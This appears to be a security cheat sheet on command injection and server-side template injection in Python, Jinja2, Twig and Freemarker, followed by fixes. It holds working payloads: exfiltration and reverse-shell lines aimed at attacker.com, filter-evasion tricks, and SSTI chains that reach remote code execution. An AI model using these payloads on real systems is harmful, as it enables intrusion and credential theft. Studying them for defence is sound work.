Command Injection & Server-Side Template Injection (SSTI)

# VULNERABLE
import os
domain = request.GET.get("domain")
result = os.popen(f"ping -c 1 {domain}").read()

# Inject: domain = "google.com; cat /etc/passwd"
# Executes: ping -c 1 google.com; cat /etc/passwd

;   command separator  — cmd1; cmd2    (always executes cmd2)
&&  AND                — cmd1 && cmd2  (executes cmd2 only if cmd1 succeeds)
||  OR                 — cmd1 || cmd2  (executes cmd2 only if cmd1 fails)
|   pipe               — cmd1 | cmd2  (stdout of cmd1 → stdin of cmd2)
`   backtick           — `cmd`        (inline execution)
$() subshell           — $(cmd)       (inline execution)
\n  newline            — cmd1\ncmd2   (executes both on some systems)
>   redirect           — > /etc/crontab (overwrite file)

# Test (blind: no output)
google.com; sleep 5        # time delay confirms injection
google.com `sleep 5`
google.com && sleep 5

# Exfiltrate output (OOB)
google.com; curl http://attacker.com/$(whoami)
google.com; nslookup $(cat /etc/passwd | head -1).attacker.com

# Reverse shell
google.com; bash -i >& /dev/tcp/attacker.com/4444 0>&1
google.com; python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("attacker.com",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# Space filtered:
cat${IFS}/etc/passwd    # $IFS = Internal Field Separator = space
cat</etc/passwd         # redirect as input
{cat,/etc/passwd}       # brace expansion

# Slash filtered (not very common):
cat${HOME:0:1}etc${HOME:0:1}passwd  # ${HOME:0:1} = /

# Keyword filtered:
ca${Z}t /etc/passwd     # $Z is empty — resolves to cat
c'a't /etc/passwd       # quotes break keyword detection

# Encoding:
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash
# (Y2F0... is base64 of "cat /etc/passwd")

# Alternative tools:
less, more, head, tail, nl, od, xxd  # instead of cat

# SAFE: use subprocess with list (never shell=True with user input)
import subprocess

# DANGEROUS — don't do this:
subprocess.run(f"ping -c 1 {domain}", shell=True)

# SAFE — argument list, no shell:
result = subprocess.run(
    ["ping", "-c", "1", domain],  # domain is a single argument
    capture_output=True, text=True, timeout=5
)

# If shell is needed:
import shlex
safe_domain = shlex.quote(domain)  # escapes shell special chars
subprocess.run(f"ping -c 1 {safe_domain}", shell=True)

# Validate input first:
import re
if not re.match(r'^[a-zA-Z0-9.\-]+$', domain):
    raise ValueError("Invalid domain")

# Vulnerable Flask/Jinja2:
from flask import Flask, render_template_string, request
app = Flask(__name__)

@app.route("/greet")
def greet():
    name = request.args.get("name", "")
    return render_template_string(f"Hello {name}!")  # SSTI!

# Inject: name = {{7*7}}
# Response: Hello 49!  (template engine evaluated 7*7)

{{7*7}}       → 49   (Jinja2, Twig)
${7*7}        → 49   (Freemarker, some others)
<%= 7*7 %>    → 49   (ERB/Ruby)
#{7*7}        → 49   (Smarty)
{{7*'7'}}     → 7777777  (Jinja2 — multiplies string 7 times)
              → 49       (Twig — treats as multiplication)

Use the above to fingerprint the template engine.

# Step 1: verify SSTI
{{7*7}}  →  49

# Step 2: navigate Python object hierarchy to reach subprocess
# Everything in Python is an object — find 'object' base class:
{{''.__class__}}               → <class 'str'>
{{''.__class__.__mro__}}       → (<class 'str'>, <class 'object'>)
{{''.__class__.__mro__[1]}}    → <class 'object'>

# Step 3: find all subclasses of object (one contains subprocess.Popen):
{{''.__class__.__mro__[1].__subclasses__()}}
# → [<class 'type'>, <class 'weakref'>, ..., <class 'subprocess.Popen'>, ...]

# Step 4: find index of subprocess.Popen (index varies by Python version)
# Search the list for 'Popen':
{{''.__class__.__mro__[1].__subclasses__()|select('equalto', 'subprocess.Popen')|list}}

# Step 5: call Popen to execute command
{{''.__class__.__mro__[1].__subclasses__()[POPEN_INDEX](['id'],stdout=-1).communicate()}}

# Shortcut (Python 3):
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# Or via builtins:
{{''.__class__.__mro__[1].__subclasses__()[POPEN_INDEX](
    'cat /etc/passwd', shell=True, stdout=-1).communicate()[0].decode()}}

{{7*7}}    → 49
{{_self}}  → Twig environment object
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

${7*7}
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

# 1. NEVER render user input as a template:
# BAD:
render_template_string(f"Hello {name}")

# GOOD — pass as variable:
render_template_string("Hello {{ name }}", name=name)

# 2. Use sandboxed environment (Jinja2):
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string("Hello {{ name }}")
result = template.render(name=name)

# 3. Validate/sanitize input if templating with user data
# 4. Principle of least privilege for web process